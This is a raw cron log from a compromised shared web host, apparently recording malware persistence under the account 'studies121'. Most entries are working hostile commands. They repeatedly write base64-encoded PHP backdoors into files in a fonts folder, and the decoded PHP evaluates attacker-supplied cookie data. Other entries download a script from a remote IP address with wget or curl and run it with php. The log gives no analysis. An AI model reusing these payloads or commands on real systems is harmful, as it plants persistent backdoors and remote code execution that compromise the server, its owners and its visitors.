Sep 10 09:23:01 ip-184-168-122-23 CROND[10196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:23:01 ip-184-168-122-23 CROND[10198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:24:01 ip-184-168-122-23 CROND[10323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:24:01 ip-184-168-122-23 CROND[10325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:24:01 ip-184-168-122-23 CROND[10326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:24:01 ip-184-168-122-23 CROND[10324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:24:01 ip-184-168-122-23 CROND[10328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:25:01 ip-184-168-122-23 CROND[10525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:25:01 ip-184-168-122-23 CROND[10528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:25:01 ip-184-168-122-23 CROND[10527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:25:01 ip-184-168-122-23 CROND[10530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:25:01 ip-184-168-122-23 CROND[10529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:25:01 ip-184-168-122-23 CROND[10534]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:26:01 ip-184-168-122-23 CROND[10650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:26:01 ip-184-168-122-23 CROND[10653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:26:01 ip-184-168-122-23 CROND[10652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:26:01 ip-184-168-122-23 CROND[10655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:26:01 ip-184-168-122-23 CROND[10657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:27:01 ip-184-168-122-23 CROND[10761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:27:01 ip-184-168-122-23 CROND[10764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:27:01 ip-184-168-122-23 CROND[10765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:27:01 ip-184-168-122-23 CROND[10763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:28:01 ip-184-168-122-23 CROND[10898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:28:01 ip-184-168-122-23 CROND[10900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:28:01 ip-184-168-122-23 CROND[10903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:28:01 ip-184-168-122-23 CROND[10905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:28:01 ip-184-168-122-23 CROND[10906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:29:01 ip-184-168-122-23 CROND[11012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:29:01 ip-184-168-122-23 CROND[11016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:29:01 ip-184-168-122-23 CROND[11014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:29:01 ip-184-168-122-23 CROND[11018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:30:01 ip-184-168-122-23 CROND[11223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:30:01 ip-184-168-122-23 CROND[11222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:30:02 ip-184-168-122-23 CROND[11224]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:30:02 ip-184-168-122-23 CROND[11231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:30:02 ip-184-168-122-23 CROND[11230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:30:02 ip-184-168-122-23 CROND[11234]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:30:02 ip-184-168-122-23 CROND[11236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:30:02 ip-184-168-122-23 CROND[11235]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:31:01 ip-184-168-122-23 CROND[11363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:31:01 ip-184-168-122-23 CROND[11365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:31:01 ip-184-168-122-23 CROND[11367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:31:01 ip-184-168-122-23 CROND[11370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:31:01 ip-184-168-122-23 CROND[11369]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 09:32:01 ip-184-168-122-23 CROND[11500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:32:01 ip-184-168-122-23 CROND[11502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:32:01 ip-184-168-122-23 CROND[11503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:32:01 ip-184-168-122-23 CROND[11501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:32:01 ip-184-168-122-23 CROND[11504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:33:01 ip-184-168-122-23 CROND[11608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:33:01 ip-184-168-122-23 CROND[11610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:33:01 ip-184-168-122-23 CROND[11609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:33:01 ip-184-168-122-23 CROND[11607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:34:01 ip-184-168-122-23 CROND[11716]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:34:01 ip-184-168-122-23 CROND[11717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:34:01 ip-184-168-122-23 CROND[11722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:34:01 ip-184-168-122-23 CROND[11720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:34:01 ip-184-168-122-23 CROND[11721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:35:01 ip-184-168-122-23 CROND[11943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:35:01 ip-184-168-122-23 CROND[11945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:35:01 ip-184-168-122-23 CROND[11946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:35:01 ip-184-168-122-23 CROND[11950]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:35:01 ip-184-168-122-23 CROND[11951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
